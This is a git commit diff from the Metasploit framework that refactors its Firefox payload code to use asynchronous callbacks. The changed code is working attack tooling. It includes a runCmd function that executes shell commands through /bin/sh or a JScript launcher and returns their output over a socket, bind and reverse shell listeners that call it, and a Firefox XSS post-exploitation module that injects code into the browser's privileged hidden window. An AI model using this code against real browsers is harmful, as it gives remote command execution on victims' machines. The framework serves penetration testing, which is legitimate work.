Update async API to actually be async in all cases.

This avoids zalgo. Also optionally checks the return value
of the compiled Function in XSS to allow you to use send()
or an explicit return, which is maybe more natural for
synchronous xss payloads.
bug/bundler_fix
Joe Vennix 2014-01-07 16:17:34 -06:00
parent 49d1285d1b
commit fb1a038024
4 changed files with 55 additions and 19 deletions

View File

@ -4,6 +4,19 @@ require 'json'
module Msf::Payload::Firefox
# Javascript source code of setTimeout(fn, delay)
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
def set_timeout_source
%Q|
var setTimeout = function(cb, delay) {
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
return timer;
};
|
end
# Javascript source code of readFile(path) - synchronously reads a file and returns
# its contents. The file is deleted immediately afterwards.
#
@ -54,18 +67,44 @@ module Msf::Payload::Firefox
# @return [String] javascript source code that exposes the runCmd(str) method.
def run_cmd_source
%Q|
#{read_file_source}
#{set_timeout_source}
var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
var windows = (ua.indexOf("Windows")>-1);
var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
var runCmd = function(cmd, cb) {
if (cmd.trim().length == 0) return;
cb = cb \|\| (function(){});
if (cmd.trim().length == 0) {
setTimeout(function(){ cb("Command is empty string ('')."); });
return;
}
var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
if (js) {
var tag = "[!JAVASCRIPT]";
Function('send', js[1])(function(r){ if (r) cb(r+tag+"\\n"); });
var sync = true; // avoid zalgo's reach
var sent = false;
var retVal = Function('send', js[1])(function(r){
if (sent) return;
sent = true
if (r) {
if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
else cb(false, r+tag+"\\n");
}
});
sync = false;
if (retVal && !sent) {
sent = true;
setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
}
return;
}
@ -116,13 +155,13 @@ module Msf::Payload::Firefox
var args = [jscriptFile.path, b64];
process.run(true, args, args.length);
jscriptFile.remove(true);
cb(cmd+"\\n"+readFile(stdout.path));
setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
} else {
sh.initWithPath("/bin/sh");
process.init(sh);
var args = ["-c", shell];
process.run(true, args, args.length);
cb(readFile(stdout.path));
setTimeout(function(){cb(false, readFile(stdout.path));});
}
};
|

View File

@ -66,14 +66,13 @@ module Metasploit3
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
runCmd(data, function(output) {
outStream.write(output, output.length);
runCmd(data, function(err, output) {
if(!err) outStream.write(output, output.length);
});
}
};
};
#{read_file_source}
#{run_cmd_source}
serverSocket.asyncListen(listener);

View File

@ -51,13 +51,12 @@ module Metasploit3
onStopRequest: function(request, context) {},
onDataAvailable: function(request, context, stream, offset, count) {
var data = NetUtil.readInputStreamToString(stream, count).trim();
runCmd(data, function(output) {
outStream.write(output, output.length);
runCmd(data, function(err, output) {
if (!err) outStream.write(output, output.length);
});
}
};
#{read_file_source}
#{run_cmd_source}
pump.asyncRead(listener, null);

View File

@ -7,6 +7,9 @@ require 'msf/core'
require 'json'
class Metasploit3 < Msf::Post
include Msf::Payload::Firefox
def initialize(info={})
super(update_info(info,
'Name' => 'Firefox XSS',
@ -47,6 +50,8 @@ class Metasploit3 < Msf::Post
%Q|
(function(send){
#{set_timeout_source}
var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"]
.getService(Components.interfaces.nsIAppShellService)
.hiddenDOMWindow;
@ -60,9 +65,9 @@ class Metasploit3 < Msf::Post
var evt = function() {
if (hiddenWindow[key]) {
schedule(evt);
setTimeout(evt, 200);
} else {
schedule(function(){
setTimeout(function(){
try {
send(hiddenWindow.Function('send', src)(send));
} catch (e) {
@ -72,13 +77,7 @@ class Metasploit3 < Msf::Post
}
};
var schedule = function(cb, delay) {
var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
timer.initWithCallback({notify:cb}, delay\|\|200, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
return timer;
};
schedule(evt);
setTimeout(evt, 200);
})(send);
|.strip